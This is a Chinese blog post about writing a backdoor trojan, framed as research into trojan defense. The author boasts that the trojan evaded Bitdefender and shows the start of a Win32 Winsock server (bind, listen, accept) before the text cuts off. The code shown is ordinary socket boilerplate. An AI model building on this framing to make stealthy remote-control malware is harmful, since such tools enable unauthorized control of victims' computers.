怎样实现后台木马

  • Post author:
  • Post category:其他


以前一直觉得像灰鸽子、黑洞之类的木马很神秘,很厉害。自己也想学学,刚好前段时间我一个导师布置了个课题研究木马防范技术。当然要防住木马这种东西总得了解别人的原理吧,无奈之中只好自己写个木马了。

若干日后。。。。。

其实木马这东西还真他#$简单,说穿了就是一个底层的TCP/IP通信而已。所谓木马的好坏,不外乎是指谁的隐藏做的好,谁实现的功能多少而已。不过自己写的木马比那些天天抛头露面的就是有一点特别突出——绝对免杀,我的那个木马在Bitdefender AntiVirus Plus v10 下来来回回都没被干掉。

OK,该说重点了:

1. 木马的核心

木马就显著的特征就是远程控制,要想实现远程,重点就是通信。从编程的角度说就是套接字编程,一开始导师让用MFC来做,可是我对MFC影响一直不好,越写到后面越觉得它垃圾,最后干脆用Win API 写了。Socket 编程最基本的模型就是

Berkeley Socket

具体的实现也就是按这个流程图来做的,这里重点是服务端的实现。


int


APIENTRY _tWinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR    lpCmdLine,



int


nCmdShow)

{


ofstream logfile(





LogFile.txt





);



//


Initialize winsock





WSADATA wsaData;



int


iResult


=


WSAStartup( MAKEWORD(


2


,


2


),


&


wsaData);



if


(iResult


!=


NO_ERROR)

{


logfile


<<





Error at WSAStartup()





;

logfile.close();



return




1


;

}



else



logfile


<<





Initialize WSAStartup OK!





;



//


Create a socket.





SOCKET serverSocket;

serverSocket


=


socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);



if


(serverSocket


==


INVALID_SOCKET)

{

logfile


<<





Error at socket():





<<


WSAGetLastError()


<<


endl;;

logfile.close();

WSACleanup();



return




1


;

}



else



{


logfile


<<





Create socket OK!





;

}



//


Bind the socket.





sockaddr_in service;

service.sin_family


=


AF_INET;

service.sin_addr.s_addr


=


inet_addr(HostIp.c_str());

service.sin_port


=


htons(PORT);



if


(bind(serverSocket,(SOCKADDR


*


)


&


service,


sizeof


(service))


==


SOCKET_ERROR)

{


logfile


<<





bind() failed





<<


GetLastError()


<<


endl;

closesocket(serverSocket);

logfile.close();



return




1


;

}



else



{


logfile


<<





Binding OK!





<<


endl;

}



//


Listen on the socket.







if


(listen(serverSocket,


1


)


==


SOCKET_ERROR)

{

logfile


<<





Error listening on socket





<<


GetLastError()


<<


endl;

logfile.close();

}



else



{


logfile


<<





Listening…





<<


endl;

}



//


Accept connections.





SOCKET clientSocket;

sockaddr_in clientAddr;



int


clientAddrLen


=


sizeof


(clientAddr);



while


(


true


)

{


clientSocket


=


SOCKET_ERROR;



while


(clientSocket


==


SOCKET_ERROR)

{


clientSocket


=


accept(serverSocket,(


struct


sockaddr


*


)



版权声明:本文为robertzhang10原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。